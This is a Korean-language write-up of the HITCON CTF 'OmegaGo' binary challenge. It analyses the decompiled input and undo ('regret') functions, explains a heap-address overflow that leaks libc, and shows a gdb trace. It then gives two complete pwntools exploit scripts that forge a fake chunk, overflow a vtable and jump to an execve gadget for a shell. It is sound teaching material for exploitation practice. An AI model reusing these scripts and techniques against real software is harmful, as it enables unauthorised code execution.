...
Panel | ||
---|---|---|
| ||
Write Up
OS information
- 해당 문제는 아래와 같은 환경에서 테스트 하였습니다.
- 실제 문제가 출제된 서버 환경과 다릅니다.
Code Block |
---|
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04.3 LTS
Release: 16.04
Codename: xenial
lazenca0x0@ubuntu:~/CTF/HITCON/OmegaGo$ |
File information
Code Block | ||
---|---|---|
| ||
autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=6101f150902c6814bd0576f35c60473105a5466e, stripped autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ checksec.sh --file omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac autolycos@ubuntu:~/CTF/HITCON/OmegaGo$ |
...
해당 함수는 다음과 같은 기능을 합니다.
callPrintBoard() 함수에 의해 Borad가 출력됩니다.
scanf() 함수를 이용해 사용자로 부터 좌표 값 또는 명령어를 입력 받습니다.
특이한 부분은 다음과 같습니다.
입력 받은 내용을 gCmd 전역 변수에 저장
10개의 문자를 입력 받지만 sscanf()함수에 의해 앞에 2개의 문자만 사용
입력 받은 명령어에 따라 다음과 같이 값을 설정합니다.
surrender : col = -1, row = -1
regret : col = -2, row = -2
- 명령어가 아닐 경우 좌표 값이 저장됩니다.
Code Block | ||
---|---|---|
| ||
unsigned __int64 __fastcall UserInput(__int64 a1, GameInfo *gameInfo, __int64 playerNum, signed int *row, signed int *col) { bool areaOverflow; // al char chCol; // [rsp+37h] [rbp-9h] unsigned __int64 v10; // [rsp+38h] [rbp-8h] v10 = __readfsqword(0x28u); callPrintBoard(gameInfo); memset(cmdgCmd, 0, 0xCuLL); if ( scanf("%10s", cmdgCmd) != 1 ) print("Er?"); if ( !strcmp("surrender", cmdgCmd) ) { *col = -1; *row = *col; } else if ( !strcmp("regret", cmdgCmd) ) { *col = -2; *row = *col; } else { if ( sscanf(cmdgCmd, "%c%d", &chCol, row) != 2 ) print("Input like 'A19'"); *col = chCol - 65; *row = 19 - *row; areaOverflow = (unsigned __int8)checkBoardArea(*row) ^ 1 || (unsigned __int8)checkBoardArea(*col) ^ 1; if ( areaOverflow ) print("No overflow plz."); } return __readfsqword(0x28u) ^ v10; } |
...
해당 함수는 다음과 같은 기능을 합니다.
historyCnt변수의 값이 0 일 경우 해당 함수는 종료됩니다.
historyCnt변수의 값이 0 아닐 경우 다음과 같은 코드를 실행합니다.
DeletePlayHistory() 함수를 이용해 gHistory[] 에 맨 마지막에 플레이한 GameInfo를 삭제 합니다.
AI, Human의 플레이 기록을 삭제합니다.
AI가 마지막에 플레이한 GameInfo를 추출해 gPlayerGameInfo에 저장합니다.
여기서도 악용 할 수 있는 코드가 있습니다.
앞에서 설명한 취약성에 의해 gPlayerGameInfo 전역 변수(gHistory[365]) 에 Heap address가 Overflow됩니다.
사용자 입력 값을 이용해 gPlayerGameInfo 전역 변수(gHistory[365])에 저장된 Heap address를 변경합니다.
gHistory[365] : 변경된 Heap address
gHistory[366] : Heap address
gHistory[367] : Heap address
- regret() 함수가 호출되면 "history = (GameInfo *)::gHistory[historyCnt - 1];" 코드에 의해 "변경된 Heap address"를 기준으로 GameInfo를 출력하게 됩니다.
- 즉, 해당 취약성을 이용해 Libc address를 출력 할 수 있습니다.
...
Code Block | ||
---|---|---|
| ||
(gdb) b *0x4017D0 Breakpoint 1 at 0x4017d0 (gdb) b *0x04017FC Breakpoint 2 at 0x4017fc (gdb) c Continuing. Breakpoint 1, 0x00000000004017d0 in ?? () (gdb) x/3i $rip => 0x4017d0: mov rax,QWORD PTR [rbp+rax*8-0x30] 0x4017d5: mov rax,QWORD PTR [rax] 0x4017d8: mov rax,QWORD PTR [rax] (gdb) ni 0x00000000004017d5 in ?? () (gdb) i r rax rax 0x1919550 26318160 (gdb) ni 0x00000000004017d8 in ?? () (gdb) i r rax rax 0x609440 6329408 (gdb) ni 0x00000000004017db in ?? () (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb) c Continuing. Breakpoint 2, 0x00000000004017fc in ?? () (gdb) x/i $rip => 0x4017fc: call rax (gdb) i r rax rax 0x7fa236c046bd 140334680000189 (gdb) |
Exploit Code
Ubuntu 16.04.3 LTS
Code Block |
---|
from |
Code Block |
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac',env={'LD_PRELOAD': 'libc.so.6_8674307c6c294e2f710def8c57925a50e60ee69e'}) def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() #surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3c4b78 execve#execve_bash = libcBaseAddress + 0xe66bd execve_bash = libcBaseAddress + 0xF1117 log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('D19') Play('E19') #sleep(30) surrender() Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Play('D14') Play('E14') Play('G14') Play('R15') Play('A5') Play('Q6') Fill('A','E',19) Play('F19|'+p64(execve_bash)) p.interactive() |
CTF server
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import * #context.log_level = 'debug' col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S'] p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac') def Play(location): p.recvuntil('\n\n') p.sendline(location) def readBoard(): global board board = [] p.recvline() for line in range(0,19): p.recv(3) board.append(p.recvuntil('\n')[0:19]) def surrender(): p.recvuntil('\n\n') p.sendline('surrender') p.recvuntil('Play history? (y/n)') p.sendline('n') p.recvuntil('Play again? (y/n)') p.sendline('y') def Fill(colStart, colEnd, row): for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1): locate = str(col_list[colNum]) locate += str(row) Play(locate) def decode(offset): bit_offset = offset * 8 data = ''.join(board) result = 0 for i in xrange(32): states = '.OX\0' val = states.index(data[bit_offset + i]) result |= val << (i * 2) return result def LeakAddress(): readBoard() return decode(0) def LeakLibcAddress(): readBoard() return decode(32) #Memory reconstruction surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) Fill('A','K',12) #Leak LibcAddress p.recvuntil('\n\n') p.sendline('D19') p.recvuntil('\n\n') p.sendline('regret') libcAddress = LeakLibcAddress() libcBaseAddress = libcAddress - 0x3be7b8 execve_bash = libcBaseAddress + 0xe66bd log.info('Libc Address : ' + hex(libcAddress)) log.info('Libc Base Address : ' + hex(libcBaseAddress)) log.info('execve bash Address : ' + hex(execve_bash)) #Memory reconstruction surrender() surrender() surrender() #Fill out to board Fill('B','S',11) for count in reversed(range(1,9)): Fill('A','S',count) Fill('A','A',11) #Fake Chunk Play('D14') Play('R8') #0xXXXX410 -> 0xxxxx550 Fill('A','I',10) Play('P1') Play('O1') surrender() Fill('B','S',6) for line in range(15,20): Fill('A','S',line) Play('A6') #vtable Overflow Play('B7') Play('S8') Play('R8') Play('C12') Play('F12') Play('M8') for line in range(16,19): Fill('A','S',line) Fill('A','E',15) sleep(20) Play('F15|'+p64(execve_bash)) p.interactive() |
...